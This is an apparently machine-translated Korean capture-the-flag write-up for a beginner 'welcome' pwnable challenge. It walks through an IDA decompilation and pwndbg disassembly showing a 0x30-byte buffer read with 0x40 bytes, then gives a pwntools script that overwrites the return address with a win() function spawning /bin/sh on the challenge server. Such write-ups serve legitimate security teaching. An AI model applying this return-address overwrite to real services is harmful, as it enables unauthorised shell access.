문제

암호
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s(48); // (rsp+0h) (rbp-30h) BYREF
init(argc, argv, envp);
memset(s, 0, 0x28uLL);
puts("Do you know pwnable?");
read(0, s, 0x40uLL);
return 0;
}
IDA에서 코드를 열었을 때의 코드 모습입니다.
s의 크기는 48(0x30)이며 읽을 때 0x40을 입력으로 받습니다. 버퍼 오버플로가 발생합니다.

카나리아가 없으며 NX 보호 기술이 활성화되어 있습니다.
분석하다

int win()
{
return system("/bin/sh");
}
이 문제를 해결하기 위해 Win 함수가 존재합니다. 이 함수를 호출하여 반송 주소 필드를 바꾸면 플래그를 얻을 수 있다고 생각합니다.
언급한 바와 같이 0x30 범위에서 0x40까지 입력을 받을 수 있기 때문에 버퍼 오버플로우가 발생한다.
pwndbg> disassemble main
Dump of assembler code for function main:
0x000000000040073b <+0>: push rbp
0x000000000040073c <+1>: mov rbp,rsp
0x000000000040073f <+4>: sub rsp,0x30
0x0000000000400743 <+8>: mov eax,0x0
0x0000000000400748 <+13>: call 0x4006da <init>
0x000000000040074d <+18>: lea rax,(rbp-0x30)
0x0000000000400751 <+22>: mov edx,0x28
0x0000000000400756 <+27>: mov esi,0x0
0x000000000040075b <+32>: mov rdi,rax
0x000000000040075e <+35>: call 0x4005b0 <memset@plt>
0x0000000000400763 <+40>: lea rdi,(rip+0xc2) # 0x40082c
0x000000000040076a <+47>: call 0x400590 <puts@plt>
0x000000000040076f <+52>: lea rax,(rbp-0x30)
0x0000000000400773 <+56>: mov edx,0x40
0x0000000000400778 <+61>: mov rsi,rax
0x000000000040077b <+64>: mov edi,0x0
0x0000000000400780 <+69>: mov eax,0x0
0x0000000000400785 <+74>: call 0x4005c0 <read@plt>
0x000000000040078a <+79>: mov eax,0x0
0x000000000040078f <+84>: leave
0x0000000000400790 <+85>: ret
End of assembler dump.
위의 IDA에서 보듯이 win 함수의 주소는 0x4006C7이고 s의 크기는 0x30이므로 0x38을 A로 덮은 다음 win 함수의 주소인 0x4006C7을 가져와서 붙여넣습니다.
기본적으로 그 뒤에 8바이트 공간이 있으며 이 공간도 덮어야 하므로 0x30에 8을 더한 값으로 액세스해야 합니다.
from pwn import *
p = remote("pwn.h4ckingga.me", 10001)
e = ELF("./welcome")
payload = b"A" * 0x38 + p64(0x00000000004006C7)
p.sendline(payload)
p.interactive()
전체 코드는 위와 같습니다. 시스템 해킹의 진입점 문제로 추천합니다.